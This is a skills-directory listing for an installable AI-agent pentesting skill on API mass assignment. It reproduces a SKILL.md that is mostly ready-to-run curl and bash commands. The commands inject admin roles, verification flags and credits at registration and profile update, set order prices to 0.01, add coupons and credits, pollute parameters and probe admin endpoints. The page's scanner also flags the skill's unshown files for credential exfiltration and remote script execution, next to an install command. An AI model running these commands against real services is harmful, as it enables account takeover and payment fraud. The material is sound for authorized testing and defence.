Skip to content
Back to skills

Khaos Chain Api Mass Assignment

BSecurity

API mass assignment and parameter pollution — JSON body injection of privileged fields, role escalation, price manipulation, hidden field discovery

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentsjavascriptpythonjavabashtestingapibackenddocumentation

Works with

  • api

Security analysis

B75/100
  • criticalSends environment variables or credentials to an external URL
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro scans all 2 files and shows the line behind each finding

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-api-mass-assignment --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Chain Api Mass Assignment?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Chain Api Mass Assignment
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-chain-api-mass-assignment-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-api-mass-assignment-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-chain-api-mass-assignment
description: API mass assignment and parameter pollution — JSON body injection of privileged fields, role escalation, price manipulation, hidden field discovery
metadata:
  khaos:
    stages: [recon, exploitation, validation]
    tool_ids: [httpx, nuclei-dast, arjun, ffuf]
---

# API Mass Assignment Chain

Mass assignment occurs when an API framework automatically binds incoming request parameters to internal model objects without filtering. If a user can POST `{"role": "admin"}` alongside a registration form, and the backend passes all fields to `User.assign(params)`, the role field may be persisted. The chain: discover hidden fields → inject privileged parameters → escalate or manipulate.

## Phase 1: Discover hidden and privileged fields

```bash
# Source of truth for hidden fields:
# 1. JavaScript source — grep for field names bound to API calls
# 2. API documentation (Swagger/OpenAPI) — undocumented fields in schema
# 3. Response body fields — if response includes "role": "user", try sending "role": "admin"
# 4. GraphQL introspection — full schema with all fields

# Extract field names from JS:
curl -s "https://TARGET" | grep -oE 'src="[^"]*\.js[^"]*"' | while read f; do
  curl -s "https://TARGET${f//src=\"/}" 2>/dev/null
done | grep -oE '"[a-z_]{3,30}":\s*(true|false|null|[0-9])' | sort -u

# Test OpenAPI schema for hidden fields:
for path in /swagger.json /api-docs /openapi.json /api/v1/swagger.json /docs/api; do
  r=$(curl -sk "https://TARGET$path" -o /dev/null -w "%{http_code}")
  [ "$r" = "200" ] && echo "Found: $path"
done

# Common privileged field names to inject:
PRIVILEGED_FIELDS=(
  role isAdmin is_admin admin
  verified is_verified email_verified
  price amount cost credits balance
  permissions scope access_level
  status approved is_active
  subscription plan tier
  id user_id account_id
  created_at updated_at deleted_at
)
```

---

## Phase 2: Account registration / update — role escalation

```bash
# Test: inject privileged fields during registration
TARGET="https://TARGET"

# Baseline registration:
curl -s "$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker1@test.com", "password": "Test123!", "name": "Test"}' \
  | python3 -m json.tool

# Mass assignment attempt — inject role and admin fields:
curl -s "$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "attacker2@test.com",
    "password": "Test123!",
    "name": "Test",
    "role": "admin",
    "is_admin": true,
    "isAdmin": true,
    "admin": true,
    "verified": true,
    "email_verified": true,
    "permissions": ["admin", "read", "write", "delete"],
    "subscription": "premium",
    "plan": "enterprise",
    "credits": 99999
  }' | python3 -m json.tool

# Then login and check:
TOKEN=$(curl -s "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker2@test.com", "password": "Test123!"}' | python3 -c "import sys,json; print(json.load(sys.stdin).get('token',''))")

curl -s "$TARGET/api/profile" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
# Look for role, permissions, subscription in response
```

---

## Phase 3: Account update endpoint — post-auth escalation

```bash
# Many apps allow updating profile; check if privileged fields survive:
TOKEN="USER_TOKEN"

curl -s "$TARGET/api/users/me" \
  -X PUT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Updated Name",
    "role": "admin",
    "is_admin": true,
    "permissions": ["admin"]
  }' | python3 -m json.tool

# Then re-fetch profile:
curl -s "$TARGET/api/users/me" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool
```

---

## Phase 4: Price/quantity manipulation — business logic

```bash
# E-commerce: inject price, discount, amount fields in checkout
TOKEN="USER_TOKEN"

# Identify item ID and baseline price:
ITEM_ID="ITEM_1"
curl -s "$TARGET/api/products/$ITEM_ID" \
  -H "Authorization: Bearer $TOKEN" | python3 -m json.tool

# Manipulate price in order creation:
curl -s "$TARGET/api/orders" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"items\": [{
      \"product_id\": \"$ITEM_ID\",
      \"quantity\": 1,
      \"price\": 0.01,
      \"unit_price\": 0.01,
      \"discount\": 99.99,
      \"discount_pct\": 100
    }],
    \"total\": 0.01,
    \"subtotal\": 0.01
  }" | python3 -m json.tool

# Test coupon/credit injection:
curl -s "$TARGET/api/cart/apply" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "coupon": "TESTCODE",
    "discount": 100,
    "credits": 999,
    "free_shipping": true
  }' | python3 -m json.tool
```

---

## Phase 5: HTTP Parameter Pollution (HPP)

```bash
# Some frameworks take the last value, some first, some concatenate:
# Test with duplicate parameters:

# GET parameter pollution:
curl -s "$TARGET/api/users?role=user&role=admin" -H "Authorization: Bearer $TOKEN"
curl -s "$TARGET/api/users?admin=false&admin=true" -H "Authorization: Bearer $TOKEN"

# POST form pollution:
curl -s "$TARGET/api/update" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -d "role=user&role=admin&is_admin=false&is_admin=true"

# JSON array injection:
curl -s "$TARGET/api/update" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role": ["user", "admin"], "permissions": {"$each": ["admin", "read", "write"]}}'

# Nested object injection:
curl -s "$TARGET/api/update" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"user": {"role": "admin", "is_admin": true}, "role": "admin"}'
```

---

## Phase 6: Confirm escalation and document impact

```bash
# After injection attempts, verify what actually changed:
TOKEN_BASELINE="USER_TOKEN_BEFORE"
TOKEN_ATTACKED="USER_TOKEN_AFTER"

echo "[Baseline profile]"
curl -s "$TARGET/api/profile" -H "Authorization: Bearer $TOKEN_BASELINE" | python3 -m json.tool

echo "[Post-injection profile]"
curl -s "$TARGET/api/profile" -H "Authorization: Bearer $TOKEN_ATTACKED" | python3 -m json.tool

# Try accessing admin endpoints:
for endpoint in /api/admin /api/admin/users /api/admin/settings /api/management; do
  code=$(curl -sk "$TARGET$endpoint" -H "Authorization: Bearer $TOKEN_ATTACKED" -o /dev/null -w "%{http_code}")
  echo "$endpoint → HTTP $code"
done
```

---

## ⛔ Prohibition table

| Prohibited | Alternative |
|---|---|
| Applying price manipulation to real orders | Use a test/staging environment or immediately cancel any order created |
| Accumulating real credits or discounts | Document response diff only; do not retain the benefit |
| Escalating to admin and then accessing other users' data | Confirm admin role in profile; stop at escalation proof |
| Mass-testing accounts via automated registration | Test with 2 controlled accounts only |

## ✓ Completion self-check

- [ ] Hidden/privileged fields discovered via source analysis or response inspection
- [ ] At least one privileged field injection attempted (role / admin / price)
- [ ] Response diff recorded: does injected field appear in response or profile?
- [ ] Admin endpoint access confirmed (or price change confirmed in order response)
- [ ] HPP tested separately on key parameter
- [ ] Accounts and orders created during PoC removed (or staged environment used)
- [ ] Finding: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes) — HIGH/CRITICAL depending on impact

Files in this skill

  • SKILL.md7.4 KB
  • scripts/mass_assign_probe.py2.2 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.